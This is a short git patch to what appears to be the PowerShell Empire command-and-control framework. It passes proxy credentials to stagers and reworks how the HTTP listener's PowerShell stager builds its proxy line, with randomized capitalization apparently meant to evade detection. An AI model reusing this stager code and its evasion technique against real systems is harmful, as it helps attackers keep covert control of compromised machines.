From 66050064fd0f1db0036f917c5f1c2c8239dbb6a6 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sat, 6 Jan 2018 16:49:10 -0500 Subject: [PATCH] Patch for #907 --- lib/common/empire.py | 1 + lib/listeners/http.py | 4 +++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 4882b8c..758d838 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3012,6 +3012,7 @@ class ListenersMenu(SubMenu): stager.options['Language']['Value'] = language stager.options['Base64']['Value'] = "True" stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value'] + stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value'] if self.mainMenu.obfuscate: stager.options['Obfuscate']['Value'] = "True" else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 9f2f201..59548bc 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -329,7 +329,9 @@ class Listener: stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy - stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") + stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('") + stager += proxy.lower() + stager += helpers.randomize_capitalization("');") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() != 'none': if proxyCreds.lower() == "default":